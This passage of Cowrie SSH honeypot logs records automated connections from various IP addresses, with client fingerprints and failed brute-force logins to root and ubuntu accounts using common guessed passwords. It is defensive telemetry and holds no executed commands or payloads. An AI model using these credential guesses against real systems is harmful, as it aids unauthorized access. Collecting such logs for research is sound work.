m@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:07.010554Z","src_ip":"14.63.196.175","session":"c46f4ed11ff8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morgan","message":"login attempt [root/morgan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:07.874958Z","src_ip":"14.63.196.175","session":"c46f4ed11ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:09.090794Z","src_ip":"14.63.196.175","session":"c46f4ed11ff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42676,"dst_ip":"10.17.0.5","dst_port":22,"session":"ab742ff103b7","protocol":"ssh","message":"New connection: 8.218.166.49:42676 (10.17.0.5:22) [session: ab742ff103b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:22.558752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:23.209155Z","src_ip":"8.218.166.49","session":"ab742ff103b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":47374,"dst_ip":"10.17.0.5","dst_port":22,"session":"59117cac4d1a","protocol":"ssh","message":"New connection: 198.23.150.42:47374 (10.17.0.5:22) [session: 59117cac4d1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:26.790617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:26.795789Z","src_ip":"198.23.150.42","session":"59117cac4d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:26.814574Z","src_ip":"198.23.150.42","session":"59117cac4d1a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"udev-monitor","password":"warnight","message":"login attempt [udev-monitor/warnight] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:26.922204Z","src_ip":"198.23.150.42","session":"59117cac4d1a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:27.944086Z","src_ip":"198.23.150.42","session":"59117cac4d1a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:28.235015Z","src_ip":"8.218.166.49","session":"ab742ff103b7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":38722,"dst_ip":"10.17.0.5","dst_port":22,"session":"2f489a21c62e","protocol":"ssh","message":"New connection: 68.183.178.130:38722 (10.17.0.5:22) [session: 2f489a21c62e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:28.656028Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:28.663985Z","src_ip":"68.183.178.130","session":"2f489a21c62e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:28.913288Z","src_ip":"68.183.178.130","session":"2f489a21c62e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"miami13","message":"login attempt [root/miami13] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:29.895151Z","src_ip":"68.183.178.130","session":"2f489a21c62e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:31.135300Z","src_ip":"68.183.178.130","session":"2f489a21c62e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:31.878331Z","src_ip":"8.218.166.49","session":"094e7198bac2","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:38.538017Z","src_ip":"8.218.166.49","session":"3f2459e18f78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:38.542096Z","src_ip":"8.218.166.49","session":"3f2459e18f78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":45116,"dst_ip":"10.17.0.5","dst_port":22,"session":"c75636474c66","protocol":"ssh","message":"New connection: 49.207.40.162:45116 (10.17.0.5:22) [session: c75636474c66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:40.708347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:40.711528Z","src_ip":"49.207.40.162","session":"c75636474c66","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:40.934038Z","src_ip":"49.207.40.162","session":"c75636474c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux123","message":"login attempt [root/linux123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:41.851291Z","src_ip":"49.207.40.162","session":"c75636474c66","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:43.074620Z","src_ip":"49.207.40.162","session":"c75636474c66","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"1qaz@WSX","message":"login attempt [ubuntu/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:15:52.452076Z","src_ip":"8.218.166.49","session":"ab742ff103b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:07.666163Z","src_ip":"8.218.166.49","session":"094e7198bac2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":35064,"dst_ip":"10.17.0.5","dst_port":22,"session":"e40a2a3a3eb4","protocol":"ssh","message":"New connection: 68.183.178.130:35064 (10.17.0.5:22) [session: e40a2a3a3eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:10.330879Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:10.336933Z","src_ip":"68.183.178.130","session":"e40a2a3a3eb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:10.575715Z","src_ip":"68.183.178.130","session":"e40a2a3a3eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"48.3","message":"Connection lost after 48.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:10.898811Z","src_ip":"8.218.166.49","session":"ab742ff103b7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"columbia","message":"login attempt [root/columbia] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:11.551271Z","src_ip":"68.183.178.130","session":"e40a2a3a3eb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:12.791699Z","src_ip":"68.183.178.130","session":"e40a2a3a3eb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":54846,"dst_ip":"10.17.0.5","dst_port":22,"session":"db74c2485c59","protocol":"ssh","message":"New connection: 182.180.57.212:54846 (10.17.0.5:22) [session: db74c2485c59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:13.244700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:13.249076Z","src_ip":"182.180.57.212","session":"db74c2485c59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:13.477737Z","src_ip":"182.180.57.212","session":"db74c2485c59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ec2-user","message":"login attempt [root/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:14.423427Z","src_ip":"182.180.57.212","session":"db74c2485c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:15.655641Z","src_ip":"182.180.57.212","session":"db74c2485c59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"92.7","message":"Connection lost after 92.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:24.293547Z","src_ip":"8.218.166.49","session":"094e7198bac2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"183.182.125.142","src_port":45626,"dst_ip":"10.17.0.5","dst_port":22,"session":"d44dddc37bed","protocol":"ssh","message":"New connection: 183.182.125.142:45626 (10.17.0.5:22) [session: d44dddc37bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:28.366356Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:28.370656Z","src_ip":"183.182.125.142","session":"d44dddc37bed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:28.642893Z","src_ip":"183.182.125.142","session":"d44dddc37bed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"super123456","message":"login attempt [root/super123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:16:29.764724Z","src_ip":"183.182.125.142","session":"d44dddc37bed","protocol":"ssh"}
